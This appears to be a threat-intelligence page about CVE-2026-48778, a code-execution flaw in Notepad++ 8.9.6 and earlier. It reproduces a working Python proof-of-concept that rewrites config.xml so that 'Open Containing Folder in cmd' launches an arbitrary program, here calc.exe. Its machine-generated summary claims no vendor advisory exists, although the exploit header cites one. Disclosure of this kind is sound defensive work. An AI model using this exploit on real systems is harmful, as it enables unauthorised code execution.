Notepad++ 8.9.6 - Arbitrary Code Execution
Notepad++ 8.9.6 - Arbitrary Code Execution
AI Analysis
Technical Summary
CVE-2026-48778 affects Notepad++ versions up to and including 8.9.6 on Windows 10 and 11. The vulnerability enables arbitrary code execution, allowing an attacker to run code of their choice on the affected system. Exploit code has been published in Python, demonstrating the feasibility of exploitation. There is no vendor advisory or patch information currently available, and no known exploits in the wild have been reported.
Potential Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the victim's machine, potentially leading to full system compromise depending on the privileges of the Notepad++ process. This poses a significant security risk to users running affected versions on Windows 10 or 11.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, users should exercise caution when opening untrusted files with Notepad++ 8.9.6 or earlier and consider using alternative text editors or restricting Notepad++ usage in sensitive environments.
Indicators of Compromise
- exploit-code: # Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution # Date: 2026-05-30 # Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/ # Vendor Homepage: https://notepad-plus-plus.org # Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/ # Version: <= 8.9.6 # Tested on: Windows 10/11 # CVE: CVE-2026-48778 # Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9 # # Description: # Notepad++ reads <GUIConfig name="commandLineInterpreter"> from config.xml without # validation and passes it to ShellExecute when "Open Containing Folder in cmd" is # triggered. An attacker with write access to %APPDATA%\Notepad++\ can inject an # arbitrary executable path, resulting in code execution under the current user context. # In the following script, `calc.exe` has been used to demonstrate this vulnerability. import os, sys appdata = os.environ["APPDATA"] if not appdata: print("[!] APPDATA environment variable not found, exiting..") sys.exit() config_path = os.path.join(appdata, "Notepad++", "config.xml") existing = os.path.exists(config_path) if existing==True: print("[+] Found config.xml at ", config_path) else: print("config.xml not found. Ensure Notepad++ is installed and has been launched atleast once.") x = open(config_path, 'r') s = x.readlines() payload='<GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>\n' injected=False for num,i in enumerate(s, start=0): if '<GUIConfig name="commandLineInterpreter">' in i: print("[!] Injecting payload..") s[num]=payload injected=True break elif "</GUIConfigs>" in i: print("[!] Injecting payload..") s.insert(num, payload) injected=True break if not injected: print("[!] Payload injection failed.") sys.exit(1) y = open(config_path, 'w') y.writelines(s) print("[+] Payload injected successfully!") print("[+] Testing: Open Notepad++ > File > Open Containing Folder > cmd") print("[+] Calc.exe will launch instead of cmd.") print("end")
Notepad++ 8.9.6 - Arbitrary Code Execution
Description
Notepad++ 8.9.6 - Arbitrary Code Execution
Affected software
pkg:github/notepad-plus-plus/notepad-plus-plusRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-48778 affects Notepad++ versions up to and including 8.9.6 on Windows 10 and 11. The vulnerability enables arbitrary code execution, allowing an attacker to run code of their choice on the affected system. Exploit code has been published in Python, demonstrating the feasibility of exploitation. There is no vendor advisory or patch information currently available, and no known exploits in the wild have been reported.
Potential Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the victim's machine, potentially leading to full system compromise depending on the privileges of the Notepad++ process. This poses a significant security risk to users running affected versions on Windows 10 or 11.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, users should exercise caution when opening untrusted files with Notepad++ 8.9.6 or earlier and consider using alternative text editors or restricting Notepad++ usage in sensitive environments.
Technical Details
- Cve
- CVE-2026-48778
- Version
- <= 8.9.6
- Vendor
- https://notepad-plus-plus.org
- Application
- https://notepad-plus-plus.org/downloads/v8.9.6
- Author
- Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal
- Platform
- Windows 10/11
- Edb Id
- 52606
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Notepad++ 8.9.6 - Arbitrary Code Execution
# Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution # Date: 2026-05-30 # Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/ # Vendor Homepage: https://notepad-plus-plus.org # Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/ # Version: <= 8.9.6 # Tested on: Windows 10/11 # CVE: CVE-2026-48778 # Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9 # # Description: # Notepad++ reads <GU... (1626 more characters)
Threat ID: 6a1b58ece29bf47b508cc6ef
Added to database: 05/30/2026, 21:38:52 UTC
Last enriched: 08/15/2026, 05:03:00 UTC
Last updated: 09/10/2026, 19:36:54 UTC
Views: 324
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.